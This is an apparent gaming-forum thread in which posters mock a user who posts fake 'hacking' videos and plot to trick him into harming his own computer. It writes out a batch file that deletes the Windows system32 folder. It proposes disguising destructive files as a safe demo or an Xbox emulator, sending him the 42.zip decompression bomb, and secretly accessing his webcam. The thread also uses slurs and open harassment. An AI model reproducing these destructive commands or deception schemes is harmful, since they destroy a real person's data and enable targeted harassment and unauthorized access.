Computer illiterate people who think they know things V5 = I FLICK PSU VOLTAGE SWITCH
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We should tell him to use this type this into a txt file and save as .bat
@echo off
del c:\WINDOWS\system32
(kill ip xxx.xxx.xxx.xxx)
blahblah
And just fill with shit that makes it look real :D
I just re-watched the first part of his video when he pastes his "secret codes". Here's what he says afterwards:
[quote=lill faggot]
I formated this and ehh, I did it by myself.
[/quote]
So yeah he probably just took the obfuscated code and added newlines and make it look readable.
Oh he deserves it. It's the only way to teach him a lesson, his responce will probably be:
"OMG U HAX ME WTF U NOOB IM REPORTING U!"
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[QUOTE=Mike!;23989725]We should tell him to use this type this into a txt file and save as .bat
@echo off
del c:\WINDOWS\system32
(kill ip xxx.xxx.xxx.xxx)
blahblah
And just fill with shit that makes it look real :D[/QUOTE]
Too believable. I think everybody knows the del command.
[QUOTE=Wombo194;23989746]Oh he deserves it. It's the only way to teach him a lesson, his responce will probably be:
"OMG U HAX ME WTF U NOOB IM REPORTING U!"[/QUOTE]
"Reporting you" to who? Would that be another case of "my uncle works at microsoft I'll get you banned from computers forever"?
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[QUOTE=Wombo194;23989746]Too believable. I think everybody knows the del command.[/QUOTE]
Since he seems to have the IQ and computer knowledge of a not-too-ripe banana, I think it might actually work.
[QUOTE=jimhowl33t;23989793]"Reporting you" to who? Would that be another case of "my uncle works at microsoft I'll get you banned from computers forever"?
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Since he seems to have the IQ and computer knowledge of a not-too-ripe banana, I think it might actually work.[/QUOTE]
Maybe, but I can't do it because i did the 127.0.0.1 thing.
I was actually thinking yesterday we would send him two different .bat's in an e-mail, saying BAT1SAFE.bat was just what the victim would see and BAT2REAL.bat was the actual bat. Say some shit like "hey could you make a video about this I coded this and what it does is it changes the person's shit around (or whatever) but you can say you made it. bat1 is safe, it just shows the text the person would see, I commented out the dangerous parts, and bat2 is the actual thing. thanks"
train of thought, if you can't understand I'll rephrase it, but what I was thinking was if it's possible make the .bat partition his C: drive 20 or 50 times and reformat each multiple of 3 and delete only half the stuff in system32.
[QUOTE=jimhowl33t;23989793]
Since he seems to have the IQ and computer knowledge of a [b]not-too-ripe banana[/b], I think it might actually work.[/QUOTE]
avatar fits
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[QUOTE=cccritical;23990001]I was actually thinking yesterday we would send him two different .bat's in an e-mail, saying BAT1SAFE.bat was just what the victim would see and BAT2REAL.bat was the actual bat. Say some shit like "hey could you make a video about this I coded this and what it does is it changes the person's shit around (or whatever) but you can say you made it. bat1 is safe, it just shows the text the person would see, I commented out the dangerous parts, and bat2 is the actual thing. thanks"
train of thought, if you can't understand I'll rephrase it, but what I was thinking was if it's possible make the .bat partition his C: drive 20 or 50 times and reformat each multiple of 3 and delete only half the stuff in system32.[/QUOTE]
how about 42.zip
[url]http://www.unforgettable.dk/[/url]
[QUOTE=Mike!;23990037]avatar fits
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how about 42.zip
[url]http://www.unforgettable.dk/[/url][/QUOTE]
That would be great.
-snip- ninja'd a page ago.
[QUOTE=4rawrs2;23990165]Should have given him his computer's local IP (probably 192.168.1.100) and he'd just be sending the command to himself.[/QUOTE]
thats what hes doing...
[QUOTE=Mike!;23990181]thats what hes doing...[/QUOTE]
Yeah I read further and figured it out. I forgot about the 127.0.0.1 thing, I just finished a networking class not all that long ago and I should probably know my stuff better.
[QUOTE=Mike!;23990037]avatar fits
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how about 42.zip
[url]http://www.unforgettable.dk/[/url][/QUOTE]
holy FUCK that's awesome, someone e-mail him or pm him on youtube and be all "I coded this, it's a perfect xbox 360 emulator and it comes with halo 3 and crackdown and the FULL mafia 2, just extract the files and run it, please make a youtube video on it"
Someone rename it to something else and send it to him.
For all we know, he could have deleted system 32, he might not respond for awhile.
[QUOTE=Wombo194;23990390]For all we know, he could have deleted system 32, he might not respond for awhile.[/QUOTE]
I sure hope something happened, he definitely deserves it for being the attention whore he is.
[QUOTE=Wombo194;23990390]For all we know, he could have deleted system 32, he might not respond for awhile.[/QUOTE]
if he did and he finally manages to get his computer running again in a few days then sees that mail and extracts it immediately, think of the pure rage
I mean you could power a fucking city for a week with the kind of rage that would come from a kid like that
[QUOTE=cccritical;23990514]if he did and he finally manages to get his computer running again in a few days then sees that mail and extracts it immediately, think of the pure rage
I mean you could power a fucking city for a week with the kind of rage that would come from a kid like that[/QUOTE]
Somebody should do some actual hacking and remotely access his webcam if he has one. Then the script shoud apparently fuck shit up but leaving the cam able to view his desperate attempts at blocking the inevitable.
We wouldn't get his full reaction, but at least some "Oh no, OH NO! *feed lost*
oh my god you guys are assholes, but i want to see this.
We're not assholes, we're making the world a better place. This guy in the future could become a real hacker (not really) and he was a huge attention whore.
He's probably sitting in the basement with his dad's rifle because the PC turned off.
[QUOTE=Unreliable;23990639]oh my god you guys are assholes, but i want to see this.[/QUOTE]
He deserves it :colbert:
Hope he got a netbook or something...
Guys, don't do anything till he responds to Wombo, or just don't do anything at all. Hes an idiot, ignore him.
[QUOTE=Rashy;23985532]My friend once said,
"My processor overclocked itself, now my music plays too fast."[/QUOTE]
This is bugging the fuck out of me.
Lots of old games had their actual gameplay speed affected by clock speed. Like...pretty much anything old with 3D, or the Mario ports on the PC-88, etc. So if you were listening to some chiptunes on one of those early computers...That should be possible, shouldn't it? Having clock speed fuck with the audio.
Your friend is totally rolling on an Amiga.
[QUOTE=Xenocidebot;23990864]This is bugging the fuck out of me.
Lots of old games had their actual gameplay speed affected by clock speed. Like...pretty much anything old with 3D, or the Mario ports on the PC-88, etc. So if you were listening to some chiptunes on one of those early computers...That should be possible, shouldn't it? Having clock speed fuck with audio.
Your friend is totally rolling on an Amiga.[/QUOTE]
Super Mario SUPER SPEED VERSION!!!!1!!one
[QUOTE=xxncxx;23990912]Super Mario SUPER SPEED VERSION!!!!1!!one[/QUOTE]
Super Sonic Bros.
[QUOTE=cccritical;23990317]holy FUCK that's awesome, someone e-mail him or pm him on youtube and be all "I coded this, it's a perfect xbox 360 emulator and it comes with halo 3 and crackdown and the FULL mafia 2, just extract the files and run it, please make a youtube video on it"[/QUOTE]
[img]http://i25.tinypic.com/2w5oaz9.jpg[/img]
Don't do anything yet, not until i get a response.
So about 42.zip, I wanted to know how big it was when zipped so I thought I'd start downloading it to see, then cancel.
[img]http://i36.tinypic.com/2sabk.png[/img]
So if he has any decent antivirus it would alert him that the archive is fucked up.
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